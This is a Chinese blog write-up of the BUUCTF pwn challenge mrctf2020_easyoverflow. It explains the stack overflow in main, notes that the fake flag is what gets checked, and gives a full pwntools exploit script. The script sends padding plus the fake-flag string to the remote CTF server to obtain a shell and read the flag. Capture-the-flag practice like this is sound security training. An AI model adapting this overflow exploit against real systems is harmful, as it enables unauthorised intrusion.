BUUCTF pwn——mrctf2020_easyoverflow

checksec && 运行

在这里插入图片描述

ida

main函数存在溢出

在这里插入图片描述

check函数校验的是fake_flag

不要被main里的复赋值骗了
在这里插入图片描述

利用思路

ret2text

代码

'''
@Author       : 白银
@Date         : 2023-05-25 08:47:26
@LastEditors  : 白银
@LastEditTime : 2023-05-25 09:05:47
@FilePath     : /pwn/mrctf2020_easyoverflow.py
@Description  : https://buuoj.cn/challenges#mrctf2020_easyoverflow
@Attention    : 
@Copyright (c) 2023 by 白银 captain-jparrow@qq.com, All Rights Reserved. 
'''

from pwn import *
# from libcfind import *

set_arch = 0 # set_arch中,int,0→amd64,1→arm64,2→i386
pwnfile = './mrctf2020_easyoverflow'  # pwnfile, str,二进制文件
if_remote = 1  # if_remote,int,1→远程,别的数字→本地
# 打本地,if_remote改别的数字就可以,最后两个参数随便改

# set_arch = 0
if set_arch == 0:
    context(log_level='debug', arch='amd64', os='linux')
elif set_arch == 1:
    context(log_level='debug', arch='arm64', os='linux')
elif set_arch == 2:
    context(log_level='debug', arch='i386', os='linux')

print(context)
# context(log_level='debug', arch='i386', os='linux')
# pwnfile = './pwn1'
elf = ELF(pwnfile)

if if_remote == 1:
    # io = remote("192.168.61.139", 8888)
    # io = remote(remote_addr, remote_port)
    io = remote("node4.buuoj.cn", 29126)
    # libc = ELF('/home/usrname/Desktop/libc.so.6')
    if set_arch == 0 or set_arch == 1:
        # libc = elf.libc
        # libc = ELF('/home/usrname/Desktop/libc-2.23.so')
        libc = ELF('/home/usrname/Desktop/2.23x64libc.so.6')
    else:
        # libc = elf.libc
        # libc = ELF('/home/usrname/Desktop/libc-2.23.so')
        libc = ELF('/home/usrname/Desktop/2.23x86libc.so.6')
else:
    io = process(pwnfile)
    # 本地用
    # elf = ELF(pwnfile)
    # libc = elf.libc
    # libc = ELF('/home/usrname/Desktop/libc-2.23.so')
    libc = ELF('/home/usrname/Desktop/2.23x86libc.so.6')
    rop = ROP(pwnfile)
    # 本地调试用
    gdb.attach(io)
    pause()

padding = 0x30 # ida看,v10 = __readfsqword(0x28u); 加上r

payload = flat(['a' * padding, "n0t_r3@11y_f1@g"]) # check函数比较的是fake_flag,相同则返回1

io.sendline( payload)

io.interactive()

拿到shell,cat flag

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Captain杰派罗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值